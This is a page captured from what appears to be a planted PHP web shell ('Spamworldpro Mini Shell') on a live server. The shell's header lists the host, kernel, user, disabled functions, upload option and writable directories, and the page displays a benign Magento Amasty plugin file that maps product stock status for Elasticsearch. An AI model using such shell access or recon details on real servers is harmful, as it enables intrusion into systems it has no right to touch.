Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/amasty/shopby/Plugin/Elasticsearch/Model/Adapter/DataMapper/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/amasty/shopby/Plugin/Elasticsearch/Model/Adapter/DataMapper/StockStatus.php
<?php

declare(strict_types=1);

/**
 * @author Amasty Team
 * @copyright Copyright (c) Amasty (https://www.amasty.com)
 * @package Improved Layered Navigation Base for Magento 2
 */

namespace Amasty\Shopby\Plugin\Elasticsearch\Model\Adapter\DataMapper;

use Amasty\Shopby\Model\ConfigProvider;
use Amasty\Shopby\Model\Inventory\Resolver;
use Amasty\Shopby\Model\Layer\Filter\Stock as FilterStock;
use Amasty\Shopby\Plugin\Elasticsearch\Model\Adapter\DataMapperInterface;

class StockStatus implements DataMapperInterface
{
    public const FIELD_NAME = 'stock_status';

    public const DOCUMENT_FIELD_NAME = 'quantity_and_stock_status';

    public const INDEX_DOCUMENT = 'document';

    /**
     * @var array
     */
    private $stockProductIds = [];

    /**
     * @var Resolver
     */
    private $inventoryResolver;

    /**
     * @var ConfigProvider
     */
    private $configProvider;

    public function __construct(
        Resolver $inventoryResolver,
        ConfigProvider $configProvider
    ) {
        $this->inventoryResolver = $inventoryResolver;
        $this->configProvider = $configProvider;
    }

    /**
     * @param int $entityId
     * @param array $entityIndexData
     * @param int $storeId
     * @param array $context
     * @return array
     * @SuppressWarnings(PHPMD.UnusedFormalParameter)
     */
    public function map($entityId, array $entityIndexData, $storeId, $context = []): array
    {
        if (!isset($context[self::INDEX_DOCUMENT][self::DOCUMENT_FIELD_NAME])
            || $this->configProvider->isStockByReservedQty()
        ) {
            $value = $this->isProductInStock($entityId, (int)$storeId);
        } else {
            $value = $context[self::INDEX_DOCUMENT][self::DOCUMENT_FIELD_NAME];
        }

        return [self::FIELD_NAME => $value];
    }

    private function isProductInStock(int $entityId, int $storeId): int
    {
        if (!array_key_exists($storeId, $this->stockProductIds)) {
            $this->stockProductIds[$storeId] = $this->inventoryResolver->getProductStock($storeId);
        }

        if (!isset($this->stockProductIds[$storeId][$entityId])) {
            return FilterStock::FILTER_DEFAULT;
        }

        if ((int)$this->stockProductIds[$storeId][$entityId]) {
            return FilterStock::FILTER_IN_STOCK;
        }

        return FilterStock::FILTER_OUT_OF_STOCK;
    }

    public function isAllowed(?int $storeId = null): bool
    {
        return $this->configProvider->isStockFilterEnabled($storeId);
    }

    public function getFieldName(): string
    {
        return self::FIELD_NAME;
    }

    /**
     * @param int $storeId
     * @param int[] $productIds
     */
    public function preloadCacheData(int $storeId, array $productIds): void
    {
        $this->stockProductIds[$storeId] = $this->inventoryResolver->getProductStock($storeId, $productIds);
    }

    public function clearCacheData(): void
    {
        $this->stockProductIds = [];
    }
}

Spamworldpro Mini